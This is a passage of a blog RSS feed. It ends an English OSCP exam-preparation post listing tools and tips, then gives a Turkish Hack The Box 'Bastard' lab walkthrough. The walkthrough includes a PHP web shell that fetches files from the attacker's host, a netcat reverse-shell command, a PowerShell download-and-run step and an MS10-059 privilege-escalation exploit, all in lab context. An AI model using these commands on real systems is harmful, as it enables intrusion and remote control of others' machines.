href="https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html">https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html</a></li></ul><p>Script;</p><ul><li><a href="https://github.com/21y4d/nmapAutomator/blob/master/nmapAutomator.sh">https://github.com/21y4d/nmapAutomator/blob/master/nmapAutomator.sh</a></li></ul><h3>Privilege Escalation</h3><p>The resources I frequently use in privilege escalation are as follows.</p><h4>Windows</h4><ul><li><a href="https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/">https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/</a></li><li><a href="https://www.fuzzysecurity.com/tutorials/16.html">https://www.fuzzysecurity.com/tutorials/16.html</a></li><li><a href="https://guif.re/windowseop">https://guif.re/windowseop</a></li><li><a href="https://www.youtube.com/watch?v=Fms9UuW05DA&amp;list=PLi0kul0fEhZ9LNZN0-A3nX2xcx2R70JwN">https://www.youtube.com/watch?v=Fms9UuW05DA&amp;list=PLi0kul0fEhZ9LNZN0-A3nX2xcx2R70JwN</a></li></ul><p>Scripts;</p><ul><li><a href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py">https://github.com/AonCyberLabs/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py</a></li><li><a href="https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1">https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1</a></li><li><a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1</a></li></ul><h4>Linux</h4><ul><li><a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/">https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/</a></li><li><a href="https://github.com/sagishahar/lpeworkshop">https://github.com/sagishahar/lpeworkshop</a></li><li><a href="https://guif.re/linuxeop">https://guif.re/linuxeop</a></li></ul><p>Script;</p><ul><li><a href="https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh">https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh</a></li></ul><h3>Reverse Shell</h3><p>Kali;</p><ul><li>/usr/share/laudanum/</li></ul><p>Pentest Monkey;</p><ul><li><a href="http://pentestmonkey.net/tag/reverseshell">http://pentestmonkey.net/tag/reverseshell</a></li></ul><p>If a 64-bit version of Netcat is required;</p><ul><li><a href="https://eternallybored.org/misc/netcat/">https://eternallybored.org/misc/netcat/</a></li></ul><h3>Upgrading Simple Shells to Fully Interactive TTYs</h3><ul><li><a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/">https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/</a></li><li><a href="https://netsec.ws/?p=337">https://netsec.ws/?p=337</a></li></ul><h3>Recommended Machines to be Solved</h3><p>I based on the list below for all the machines I have solved and worked on. This list contains the list of Vulnhub and HTB machines similar to OSCP machines. Also, there are now relevant lists for OSWE too 😈</p><p>NetsecFocus Trophy Room;</p><ul><li><a href="https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=665299979">https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=665299979</a></li></ul><h4>Vulnhub</h4><p>The list given below is the “NetseFocus Trophy Room” list. I solved the first 9 of the machines on this list. I did not solve more. However, I have read the writeup of many. The reason that I cannot solve them I think, HTB machines are more up to date. However, these machines; In the preparation period, I recommend that it be solved first to grasp the input points for the machines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2BBWeH_z-GMJyHIf" /></figure><h4>Hack the Box</h4><p>The list given below; includes the “NetseFocus Trophy Room” in addition the machines I have solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*awM_1GQbWOIioKu1" /></figure><p>In preparation; I got VIP membership from Hack the Box. The reason of this that I wanted to solve retired machines. In the table above, I solved the machines that I marked in green. I edited some of them and published their writeups.</p><p>You can access the writeups I have published through my addresses below;</p><ul><li><a href="https://medium.com/@brcyrr">https://medium.com/@brcyrr</a></li><li><a href="https://pentestworld.blogspot.com/">https://pentestworld.blogspot.com/</a></li></ul><p>I wrote my writeups in Turkish. The reason is that there were not many Turkish resources on this subject. My goal is that complete the list in the future.</p><p>In addition, for the related writeups, I recommend the following blogs that you can follow in English;</p><ul><li><a href="https://0xdf.gitlab.io/tags.html#hackthebox">https://0xdf.gitlab.io/tags.html#hackthebox</a></li><li><a href="https://medium.com/@ranakhalil101">https://medium.com/@ranakhalil101</a></li></ul><p>Moreover; there is someone I want to mention as a separate title; ippsec. You should definitely listen to the solution of the machines that are solved by ippsec. I also listened to most of the machines I solved from ippsec. And I took my notes. It is very useful because of the perspective. At this stage, I suggest you to listen to the machine solutions listed below;</p><ul><li><a href="https://www.youtube.com/watch?v=2DqdPcbYcy8&amp;list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf">https://www.youtube.com/watch?v=2DqdPcbYcy8&amp;list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf</a></li></ul><p>Finally; own site where you can search about which machine you will solve, and you can find the solution steps of the related machines in summary;</p><ul><li><a href="https://ippsec.rocks/?#">https://ippsec.rocks/?#</a></li></ul><h3>Buffer Overflow</h3><p>Other than the resources provided by Offsec for Buffer overflow, the resources I use are as follows. In the resources sent; It will be enough for you to study the subject from PDF and videos, understand the detail and practice the relevant application several times, to solve the question in the exam. I think this was the most relaxing question on the exam 💆</p><ul><li><a href="https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/">https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/</a></li><li><a href="https://www.siberportal.org/red-team/exploit-development/seattle-lab-mail-slmail-5-5-uzerinde-stack-tabanli-bellek-tasma-zafiyetinin-istismari/">https://www.siberportal.org/red-team/exploit-development/seattle-lab-mail-slmail-5-5-uzerinde-stack-tabanli-bellek-tasma-zafiyetinin-istismari/</a></li><li><a href="https://www.youtube.com/watch?v=IMlSVVvmhRU">https://www.youtube.com/watch?v=IMlSVVvmhRU</a></li></ul><h3>Extra💫</h3><p>In addition, a free lab environment where you can consolidate by applying the techniques you learned for OSCP and more;</p><ul><li><a href="https://attackdefense.com/members">https://attackdefense.com/</a></li></ul><h3>Exam</h3><h4>Cheat Sheet</h4><p>My own resource that I used during the exam;</p><ul><li><a href="https://github.com/brcyrr/OSCP">https://github.com/brcyrr/OSCP</a></li></ul><h4>Tips and Tricks</h4><p>Based on the experience I gained during the exam, I wanted to share a few tips and tricks;</p><ul><li>First, run the “nmapAutomator” script in order for all machines. This is a very comprehensive enumeration script prepared by someone who was previously prepared for the OSCP certificate. This script was very useful to save time at the enumeration stage. I ran this script for 4 machines in order in the background.</li><li>In the background, while performing enumeration with the script from other machines, firstly I solved the buffer overflow machine because solving this machine with attention will save you 25 points and increase your motivation 🥂</li><li>The 10-points machine is based on the numbering of a unique service. Knowing this, you should not think complicated. (I came across this tip in a review before the exam, it worked quite well during the exam 💃). Just make sure you number the machine well 😈</li><li>Don’t get stuck on a single machine. (You can set an alarm on your phone for this.)</li><li>Think simple, no need to rediscover America 😉</li><li>Take short breaks to better focus your attention and view from different perspectives.</li><li>Be neither too hungry nor too full. Because both can trigger distraction. Therefore, eat healthy and adequate nutrition during the exam.</li><li>Never be hopeless. If not, you will take the exam again and this will be an experience. It’s not the end of the world, remember that 😉</li><li>Finally; Never give up! #tryharder 😈</li></ul><p>View my verified achievement from @offsectraining;</p><ul><li><a href="https://www.youracclaim.com/badges/eaab59a7-e671-4986-ac87-c7d36280d15e/">https://www.youracclaim.com/badges/eaab59a7-e671-4986-ac87-c7d36280d15e/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=433a08c86f27" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Bastard]]></title>
            <link>https://brcyrr.medium.com/hack-the-box-bastard-7884682fee58?source=rss-9f1d75736c13------2</link>
            <guid isPermaLink="false">https://medium.com/p/7884682fee58</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[drupal]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Burcu YARAR]]></dc:creator>
            <pubDate>Mon, 06 Apr 2020 20:06:42 GMT</pubDate>
            <atom:updated>2020-04-07T09:16:44.022Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — Bastard</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*YH71Fasx5OC43-8HUPsXng.png" /></figure><h3>Port Tarama</h3><h4>Full Port Tarama</h4><p>İlk olarak hedef sistem üzerinde full port tarama işlemi gerçekleştirilir.</p><p>nmap -p- — open -vvv 10.10.10.9 -oN fullportscan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Cl-SFnZuEccJ1UlD95DgA.png" /></figure><p>Gerçekleştirilen full port tarama işlemi sonrası açık olduğu tespit edilen portlar aşağıda verilmiştir.</p><pre>80/tcp</pre><pre>135/tcp</pre><pre>49154/tcp</pre><h4>Versiyon Tarama</h4><p>Ardından açık olduğu tespit edilen portlar üzerinde versiyon ve script taraması gerçekleştirilmiştir.</p><pre>nmap -p 80,135,49154 -sV -sC -vvv 10.10.10.9 -oN versionscan</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ibUNac0UDZr4ilnrhcj-g.png" /></figure><h3>Bilgi Toplama</h3><h4>Port 80</h4><p>İlgili adres tarayıcı üzerinden görüntülendiğinde aşağıda ekran görüntüsü verilen sayfa ile karşılaşılmıştır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p3MKNSQNEboamKNwO5hmtw.png" /></figure><p>Ardından ilgili sayfanın kaynağı görüntülenmiş ve “Drupal 7” versiyonu kullanıldığı gözlemlenmiştir. İlgili ekran görüntüsü aşağıda verilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KI2xtcUt3cVzQPXX69dKiQ.png" /></figure><p>Daha sonra nmap versiyon ve script taraması esnasında karşımıza çıkan “robots.txt” dosyası ziyaret edilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j0WZrn4tODBMBPvpi4x5NQ.png" /></figure><p>Ardından “robots.txt” dosyası içerisindeki bir çok dizin ziyaret edilmiş ve “CHANGELOG.txt” dosyasında Drupal’in net versiyon bilgisi tespit edilmiştir: “Drupal 7.54”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LX7HntGUtYT2OPR5Tgm57Q.png" /></figure><p>Bu aşamada ilgili versiyon üzerinde zafiyet araştırması gerçekleştirilmiştir. Google üzerinde gerçekleştirilen araştırma sonucu hedef sistem üzerinde uzaktan komut çalıştırılmasına olanak sağlayacak bir zafiyet tespit edilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nynzoVRC5UtLWo1ShEddlQ.png" /></figure><p>Ardından ilgili exploitin Exploit-DB üzerinde varlığı kontrol edilmiştir.</p><pre>searchsploit “Drupal 7”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qi6pCxa1nVwXM-HAYPICTg.png" /></figure><p>İlgili exploite ait detaylara aşağıdaki link üzerinden erişilebilir.</p><p><a href="https://www.ambionics.io/blog/drupal-services-module-rce">Drupal 7.x Services module unserialize() to RCE</a></p><p>İlgili exploit incelendiğinde içerisinde istenilen değerler aşağıda verilmiştir.</p><pre>$url = &#39;http://vmweb.lan/drupal-7.54&#39;;<br>$endpoint_path = &#39;/rest_endpoint&#39;;<br>$endpoint = &#39;rest_endpoint&#39;;</pre><p>Bu değerler incelendiğinde ilk olarak “/rest_endpoint” dizininin varlığı kontrol edilmiş ancak bulunmadığı tespit edilmiştir.</p><p><a href="http://10.10.10.9/rest_endpoint">http://10.10.10.9/rest_endpoint</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fixUlmEIl2_onzta7apYUA.png" /></figure><p>Bu aşamada hedef sistem üzerinde ilgili dizinin tespiti için “gobuster” ile dizin taraması gerçekleştirilmiş ancak sunucudan kaynaklı gecikmeden tarama tamamlanmamıştır ve yeterli sonuç elde edilememiştir.</p><p>Ardından “dirsearch” aracı ile dizin taraması gerçekleştirilmiş ve hedef sistem üzerinde “rest” dizininin varlığı tespit edilmiştir.</p><p>Öncelikle eğer söz konusu araç sisteminizde yüklü değilse ilgili aracı aşağıdaki komut ile sisteminize yükleyebilirsiniz.</p><pre>git clone <a href="https://github.com/maurosoria/dirsearch.git">https://github.com/maurosoria/dirsearch.git</a></pre><p>Gerçekleştirilen dizin taramasına ait detaylar aşağıda verilmiştir.</p><pre>python3 dirsearch.py -u <a href="http://10.10.10.9/">http://10.10.10.9/</a> -x 403,404 -t 30 -e php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DzNGoKtjBlDX5rcbSiEaWw.png" /></figure><p>Ardından ilgili dizin kontrol edilmiş ve “rest_endpoint” in varlığı tespit edilmiştir.</p><p><a href="http://10.10.10.9/rest">http://10.10.10.9/rest</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2k5k4k5yJ1hMTIyyMUPxqA.png" /></figure><h3>Zafiyetin İstismarı</h3><p>Bu aşamada gerekli değerler sağlandıktan sonra söz konusu exploit ilk olarak searchsploit kullanılarak saldırgan sistem üzerine kopyalanmıştır. Ancak burada düzenlensede düzgün çalışmamıştır. Ardından Google üzerinde gerçekleştirilen araştırmalarda karşımıza çıkan yukarıda exploitin detayını açıklayan siteden exploite ait kod alınmıştır. Koda ait ilgili ekran görüntüsü aşağıda verilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2nKNaZpNLsBfDJ0SuhHBZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tRs9xXLwudkL8glw-b6-ng.png" /></figure><p>İlgili kod üzerinde düzenlemesi gereken (aşağıda işaretlenen) değerler düzenlenmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MdAmSiaBYdMwxSsBOaWAxA.png" /></figure><p>Ardından ilgili exploit çalıştırılmış ve çıktısı olarak iki dosya elde edilmiştir;</p><pre>user.json</pre><pre>session.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*9LYUhxExuYJKewTjwkevfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*dO-6LQmqne_SCmXw-hVQMg.png" /></figure><p>İlgili dosyaların içeriğine ait detaylar aşağıdaki ekran görüntülerinde verilmiştir.</p><pre>cat user.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*858l00Y5yrh0BBr8TD6HUg.png" /></figure><pre>cat session.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QcJ77wjLkbBa4s06Qvfouw.png" /></figure><p>Ardından Firefox’da bulunan “Cookie Manager” eklentisine “session.json” dosyası içerisindeki “session_name” ve “session_id” değerleri girilmiştir.</p><p><strong>Not:</strong> Bunun için “Burp Suite” aracı da kullanılabilir. Onda ise cookie bilgisi aşağıdaki şekilde düzenlenmelidir.</p><pre>Cookie: session_name=session_id;token</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N5R2FooBN3fJZ9V_xruDFA.png" /></figure><p>Tekrar sayfa güncellendiğinde sisteme “admin” kullanıcısı olarak login olunduğu gözlemlenmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pzzr_CaqniVWK2k8bVxBFg.png" /></figure><p>Daha sonra “Modules” sekmesinde “PHP Filter” eklentisi etkinleştirilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4_fm8XqhWICD4kKFoN3CfQ.png" /></figure><p>Ardından ana sayfadaki “Add new content &gt; Add content &gt; Basic page” yolu takip edilerek ilgili alana hedef sistem üzerinde hem komut çalıştırmamızı sağlayacak hem de dosya yüklememize olanak sağlayacak aşağıda detayları verilen shellcode eklenmiştir.</p><pre>&lt;?php</pre><pre>if (isset($_REQUEST[‘fupload’])) {<br> file_put_contents($_REQUEST[‘fupload’], file_get_contents(“<a href="http://10.10.14.3:8000/">http://10.10.14.6:8000/</a>&quot; . $_REQUEST[‘fupload’]));<br>};</pre><pre>if (isset($_REQUEST[‘fexec’])) {<br> echo “&lt;pre&gt;” . shell_exec($_REQUEST[‘fexec’]) . “&lt;/pre&gt;”;<br>};</pre><pre>?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*js5R26Er-BruII0yLTwaxA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TvsNTneAA5IPkocSqtzI9w.png" /></figure><p>İlgili shellcode hedef sistem üzerine eklenerek kaydedilmiş ve sistem üzerinde komut çalıştırılmıştır. Sistem üzerinde komut çalıştırıldığına ve sistem detaylarına ait ekran görüntüleri aşağıda verilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tdn8pLkIEMnC_6L5FFDE7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aMmSS7MImi-UD8Wqahg4PA.png" /></figure><p>Aşağıdaki kod ile hedef sistem üzerinde “user.txt” dosyası tespit edilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kaqin-tvgAdm05MB67ykyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oixIjNV9Q01pQO1Gq1KVaw.png" /></figure><p>Daha sonra hedef sistem üzerinde bir oturum elde etmek adına aşağıdaki adımlar izlenmiştir. İlk olarak sistem özellikleri incelenmiş ve sistem tipinin “x64” bit olduğu gözlemlenmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sub2JKee6fG3d-R5KLZ2Wg.png" /></figure><p>Hedef sistem “x64” bit olduğu için hedefe “fupload” fonksiyonu kullanılarak aşağıdaki linkten indirilmiş olan netcat’in x64 bit versiyonu indirilmiştir.</p><ul><li><a href="https://eternallybored.org/misc/netcat/">https://eternallybored.org/misc/netcat/</a></li></ul><p>İndirilen dizin üzerinde Python ile HTTP sunucu oluşturulmuş ve “n64.exe” dosyası başarı ile hedef sisteme yüklenmiştir.</p><pre>python -m SimpleHTTPServer </pre><pre>http://10.10.10.9/node/2?fupload=nc.64.exe</pre><p>İlgili ekran görüntüleri aşağıda verilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sJIhihWejILmP6fiE7qChQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BSuxgIaA_5b86s9syXkStg.png" /></figure><p>Ardından netcat kullanılarak hedef sistem üzerinde kalıcı oturum elde edilmiştir.</p><pre>nc -nlvp 3333</pre><pre><a href="http://10.10.10.9/node/2?fupload=nc64.exe%2010.10.14.6%203333%20-e%20cmd.exe">http://10.10.10.9/node/2?fupload=nc64.exe%2010.10.14.6%203333%20-e%20cmd.exe</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v5yv6ITqYvVLu134EqMIuw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*30Ndn-ZT3ROZK0Ye_C4JNw.png" /></figure><h3>Yetki Yükseltme</h3><p>Hedef sistem üzerinde oturum elde edildikten sonra sistem üzerinde “systeminfo” komutu çalıştırılmıştır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*njNfs3xsPSkNQilQQIjqYg.png" /></figure><p>Söz konusu çıktı incelendiğinde hedefteki işletim sisteminin “Windows Server 2008 R2” , sistem tipinin “x64” olduğunu ve ilgili işletim sisteminde herhangi bir yamanın geçilmediği (Hotfix(s)) gözlemlenmektedir. Tüm bu veriler göz önüne alarak öncelikli olarak hedef sistem üzerinde yama eksikliklerinden kaynaklanan güvenlik açıklıkları tespit edilmiştir. Bunun için aşağıda link olarak detayı verilen “Windows-Exploit-Suggester” aracı kullanılabilir.</p><p>İlgili aracı henüz indirmediyseniz işletim sistemine aşağıdaki şekilde indirebilirsiniz.</p><pre>git clone <a href="https://github.com/GDSSecurity/Windows-Exploit-Suggester.git">https://github.com/GDSSecurity/Windows-Exploit-Suggester.git</a></pre><p>Aracı daha önce indirdiyseniz ve yama listesini güncellemek istiyorsanız aşağıdaki komutu çalıştırmanız yeterli olacaktır.</p><pre>./windows-exploit-suggester.py — update</pre><p>Söz konusu araç ile hedef sistem üzerindeki yama eksikliklerinden kaynaklı taramayı gerçekleştirebilmemiz için bizden iki parametre istenmektedir.</p><p>Bunlar;</p><ul><li>database: Güncel yama listesi.</li><li>systeminfo: Hedef sisteme ait systeminfo çıktısı.</li></ul><p>İlgili parametreleri sağlayarak aşağıda detaylarını verdiğimiz şekilde taramamızı gerçekleştiriyoruz.</p><pre>python windows-exploit-suggester.py — database 2019–06–22-mssb.xls — systeminfo systeminfo.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dRYZjovb0buPxcdy81NtOw.png" /></figure><p>Yukarıdaki ekran görüntüsünde görüldüğü üzere söz konusu hedef sistem üzerinde yama eksikliğinden kaynaklanan birden fazla güvenlik açıklığı bulunmaktadır. Bu açıklıklardan biri olan “MS10–059” açıklığını istismar ederek sistem üzerinde yetki yükseltme işlemi gerçekleştirilmiştir. Bunun için aşağıdaki adımlar izlenmiştir.</p><p>Söz konusu güvenlik açıklığını “exploit-db” üzerinden incelediğimizde bir diğer adı olan “Chimicchuri” exploiti önerilmektedir.</p><p>İlgili exploiti aşağıdaki şekilde saldırgan makineye indirilir.</p><pre>git clone <a href="https://github.com/Re4son/Chimichurri.git">https://github.com/Re4son/Chimichurri.git</a></pre><p>Ardından öncelikli olarak python ile HTTP sunucu başlatılır ve powershell kullanarak hedef makineye .exe uzantılı exploit dosyası yüklenir.</p><pre>python -m SimpleHTTPServer 9080</pre><p>İlgili exploitin hedef sisteme yüklenmesi için kullanılan kod bloğu aşağıda verilmiştir.</p><pre>echo $url = “http://10.10.14.6:9080/ms10–059.exe&quot; &gt;&gt;wget.ps1</pre><pre>echo $file = “ms10–059.exe” &gt;&gt;wget.ps1</pre><pre>echo $webclient.DownloadFile($url,$file) &gt;&gt;wget.ps1</pre><pre>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1</pre><p>“ms10–059.exe” adında hedef sisteme yüklediğimiz exploit saldırgandan iki parametre istemektedir. Bunlar ise hedef sistemde yetkili bir oturum elde edebilmemiz için saldırgan sisteme IP adresi ve reverse shell almak istenilen herhangi bir port. Söz konusu adımlar aşağıdaki şekilde gerçekleştirilmiştir.</p><p>İlk olarak dinleyici başlatılır.</p><pre>nc -lvp 9876</pre><p>Ardından ilgili parametreler verilerek exploit çalıştırılır.</p><pre>ms10–059-exploit.exe 10.10.14.6 9876</pre><p>Exploitin hedef sisteme yüklenmesine ait ekran görüntüsü aşağıda verilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5BvBWcRVfapnkjhO7DoNnA.png" /></figure><p>Exploitin çalıştırılması ve hedef sistem üzerinde yetki yükseltilmesine ait ekran görüntüsü aşağıda verilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xpMYq51xKT3uTkTkX29miA.png" /></figure><p>Son olarak “root.txt.txt” dosyasının içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5U3l-E0vMK5tXP0wecZ2jg.png" /></figure><h3>🥂🥂</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7884682fee58" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>